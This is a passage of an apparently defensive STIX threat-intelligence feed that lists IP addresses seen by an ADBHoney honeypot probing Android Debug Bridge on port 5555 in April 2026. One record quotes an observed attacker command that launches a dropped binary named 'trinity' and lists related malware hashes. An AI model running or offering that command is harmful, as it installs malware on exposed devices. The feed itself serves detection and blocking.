      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=85; ports=5555; cc=US; asn=135377; asn_org=UCLOUD INFORMATION TECHNOLOGY HK LIMITED; adb_cmd_hits=2\n\nObserved in ADBHoney telemetry for 2026-04. events=85 | first_seen=2026-04-24T07:10:58.000Z | last_seen=2026-04-24T07:24:03.300Z | ports=5555 | cc=US | asn=135377 | org=UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "id": "indicator--30f94b75-da7a-4498-b5c1-f29968bdc7d9",
      "labels": [
        "malware_hosting",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '152.32.149.35']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T08:00:04.000Z",
      "valid_until": "2026-05-26T08:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 85,
          "first_seen": "2026-04-24T07:10:58.000Z",
          "last_seen": "2026-04-24T07:24:03.300Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "135377"
          ],
          "org": [
            "UCLOUD INFORMATION TECHNOLOGY HK LIMITED"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-24T08:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=DE; asn=58212; asn_org=dataforest GmbH; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=9 | first_seen=2026-04-24T07:17:19.000Z | last_seen=2026-04-24T16:32:33.542Z | ports=5555 | cc=DE | asn=58212 | org=dataforest GmbH",
      "id": "indicator--7799247b-0f0a-4d44-bf01-4a59e66bb1c7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '45.157.233.103']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T08:00:04.000Z",
      "valid_until": "2026-05-26T08:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 9,
          "first_seen": "2026-04-24T07:17:19.000Z",
          "last_seen": "2026-04-24T16:32:33.542Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "DE"
          ],
          "asn": [
            "58212"
          ],
          "org": [
            "dataforest GmbH"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-24T10:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=20; ports=5555; cc=SC; asn=36958; asn_org=Cable & Wireless (Seychelles); adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=21 | first_seen=2026-04-24T09:13:01.000Z | last_seen=2026-04-24T10:08:09.942Z | ports=5555 | cc=SC | asn=36958 | org=Cable & Wireless (Seychelles)",
      "id": "indicator--381f2900-5932-41ee-8983-21e9d40b9ad8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '41.86.40.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T10:00:04.000Z",
      "valid_until": "2026-05-26T10:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 21,
          "first_seen": "2026-04-24T09:13:01.000Z",
          "last_seen": "2026-04-24T10:08:09.942Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "SC"
          ],
          "asn": [
            "36958"
          ],
          "org": [
            "Cable & Wireless (Seychelles)"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-24T12:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=13; ports=5555; cc=KR; asn=17858; asn_org=LG POWERCOMM; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=13 | first_seen=2026-04-24T11:17:33.000Z | last_seen=2026-04-24T11:27:46.486Z | ports=5555 | cc=KR | asn=17858 | org=LG POWERCOMM",
      "id": "indicator--ef16aba5-3c19-4ef8-9d58-5ef9490acfd7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '180.229.245.214']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T12:00:03.000Z",
      "valid_until": "2026-05-26T12:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 13,
          "first_seen": "2026-04-24T11:17:33.000Z",
          "last_seen": "2026-04-24T11:27:46.486Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "KR"
          ],
          "asn": [
            "17858"
          ],
          "org": [
            "LG POWERCOMM"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-24T12:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=9 | first_seen=2026-04-24T11:13:18.000Z | last_seen=2026-04-24T11:23:24.689Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--0697e1b9-ce52-4ae6-b703-a9dcfa7e5f75",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.62']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T12:00:03.000Z",
      "valid_until": "2026-05-26T12:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 9,
          "first_seen": "2026-04-24T11:13:18.000Z",
          "last_seen": "2026-04-24T11:23:24.689Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-24T12:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=4 | first_seen=2026-04-24T11:12:40.000Z | last_seen=2026-04-24T11:13:43.485Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--fe7a58c1-699e-4708-a450-ec911d2dccfb",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.65']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T12:00:03.000Z",
      "valid_until": "2026-05-26T12:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 4,
          "first_seen": "2026-04-24T11:12:40.000Z",
          "last_seen": "2026-04-24T11:13:43.485Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-24T14:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=7 | first_seen=2026-04-24T13:23:06.000Z | last_seen=2026-04-24T13:33:12.179Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--38079a31-1976-41da-8b19-0a85d823b168",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '216.218.206.67']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T14:00:02.000Z",
      "valid_until": "2026-05-26T14:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 7,
          "first_seen": "2026-04-24T13:23:06.000Z",
          "last_seen": "2026-04-24T13:33:12.179Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-24T14:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=4 | first_seen=2026-04-24T13:21:49.000Z | last_seen=2026-04-24T13:22:51.109Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--bd3362bf-e101-4294-9998-f6b523e16909",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '216.218.206.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T14:00:02.000Z",
      "valid_until": "2026-05-26T14:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 4,
          "first_seen": "2026-04-24T13:21:49.000Z",
          "last_seen": "2026-04-24T13:22:51.109Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-24T14:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=49; ports=5555; cc=JP; asn=45102; asn_org=Alibaba US Technology Co., Ltd.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=49 | first_seen=2026-04-24T13:30:41.000Z | last_seen=2026-04-24T13:32:46.352Z | ports=5555 | cc=JP | asn=45102 | org=Alibaba US Technology Co., Ltd.",
      "id": "indicator--1137d49e-3843-4725-ad28-41ad61d8ab16",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '47.91.31.15']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T14:00:02.000Z",
      "valid_until": "2026-05-26T14:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 49,
          "first_seen": "2026-04-24T13:30:41.000Z",
          "last_seen": "2026-04-24T13:32:46.352Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "JP"
          ],
          "asn": [
            "45102"
          ],
          "org": [
            "Alibaba US Technology Co., Ltd."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-24T16:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=US; asn=63949; asn_org=Akamai Connected Cloud; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=6 | first_seen=2026-04-24T15:46:36.000Z | last_seen=2026-04-24T15:47:45.206Z | ports=5555 | cc=US | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--cf645958-e578-41eb-b658-a59ec2f2a8ec",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '143.42.173.101']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T16:00:02.000Z",
      "valid_until": "2026-05-26T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 6,
          "first_seen": "2026-04-24T15:46:36.000Z",
          "last_seen": "2026-04-24T15:47:45.206Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-24T18:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=58; ports=5555; cc=CN; asn=132525; asn_org=HeiLongJiang Mobile Communication Company Limited; adb_cmd_hits=0; cmd=\"/data/local/tmp/nohup /data/local/tmp/trinity\"\n\nObserved in ADBHoney telemetry for 2026-04. events=58 | first_seen=2026-04-24T17:08:48.000Z | last_seen=2026-04-24T17:21:04.885Z | ports=5555 | cc=CN | asn=132525 | org=HeiLongJiang Mobile Communication Company Limited | related_hashes=0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257,76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64,a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437,d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0",
      "id": "indicator--d2229f22-b465-4f2c-81f6-e5b380f81614",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot",
        "dropper",
        "malware-distribution"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '111.55.114.238']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T18:00:03.000Z",
      "valid_until": "2026-05-26T18:00:00.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 58,
          "first_seen": "2026-04-24T17:08:48.000Z",
          "last_seen": "2026-04-24T17:21:04.885Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "132525"
          ],
          "org": [
            "HeiLongJiang Mobile Communication Company Limited"
          ],
          "related_hashes": [
            "0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257",
            "76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64",
            "a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437",
            "d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-24T21:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=FR; asn=201097; asn_org=KVANTA LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=4 | first_seen=2026-04-24T20:12:12.000Z | last_seen=2026-04-24T20:13:16.151Z | ports=5555 | cc=FR | asn=201097 | org=KVANTA LLC",
      "id": "indicator--ddcd76a5-00d2-47d9-95c7-28719d30a8b0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '78.153.136.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T21:00:03.000Z",
      "valid_until": "2026-05-26T21:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 4,
          "first_seen": "2026-04-24T20:12:12.000Z",
          "last_seen": "2026-04-24T20:13:16.151Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "FR"
          ],
          "asn": [
            "201097"
          ],
          "org": [
            "KVANTA LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-24T22:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=AU; asn=63949; asn_org=Akamai Connected Cloud; cats=Misc activity; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=8 | first_seen=2026-04-24T21:49:09.000Z | last_seen=2026-04-24T21:59:17.291Z | ports=5555 | cc=AU | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--a74d0342-24ca-4af1-a5be-637797dd8680",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '172.236.35.120']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T22:00:03.000Z",
      "valid_until": "2026-05-26T22:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 8,
          "first_seen": "2026-04-24T21:49:09.000Z",
          "last_seen": "2026-04-24T21:59:17.291Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "AU"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-25T01:00:06.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=US; asn=7922; asn_org=Comcast Cable Communications, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=7 | first_seen=2026-04-25T00:31:11.000Z | last_seen=2026-04-25T00:31:11.731Z | ports=5555 | cc=US | asn=7922 | org=Comcast Cable Communications, LLC",
      "id": "indicator--9eeea472-5a7b-4cc5-852e-e7da13a864c4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '73.200.150.131']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T01:00:06.000Z",
      "valid_until": "2026-05-27T01:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 7,
          "first_seen": "2026-04-25T00:31:11.000Z",
          "last_seen": "2026-04-25T00:31:11.731Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "7922"
          ],
          "org": [
            "Comcast Cable Communications, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-25T02:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=AE; asn=210718; asn_org=Five Cyber Host Security S.r.l.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=10 | first_seen=2026-04-25T01:50:32.000Z | last_seen=2026-04-25T02:00:40.630Z | ports=5555 | cc=AE | asn=210718 | org=Five Cyber Host Security S.r.l.",
      "id": "indicator--c87db1b5-63a6-474f-9edd-ae20ae09c850",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '31.57.129.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T02:00:03.000Z",
      "valid_until": "2026-05-27T02:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 10,
          "first_seen": "2026-04-25T01:50:32.000Z",
          "last_seen": "2026-04-25T02:00:40.630Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "AE"
          ],
          "asn": [
            "210718"
          ],
          "org": [
            "Five Cyber Host Security S.r.l."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-25T02:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=9 | first_seen=2026-04-25T01:31:10.000Z | last_seen=2026-04-25T01:41:22.996Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--ed89394f-a113-4770-aa6c-c6452a3f45c5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.122']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T02:00:03.000Z",
      "valid_until": "2026-05-27T02:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 9,
          "first_seen": "2026-04-25T01:31:10.000Z",
          "last_seen": "2026-04-25T01:41:22.996Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
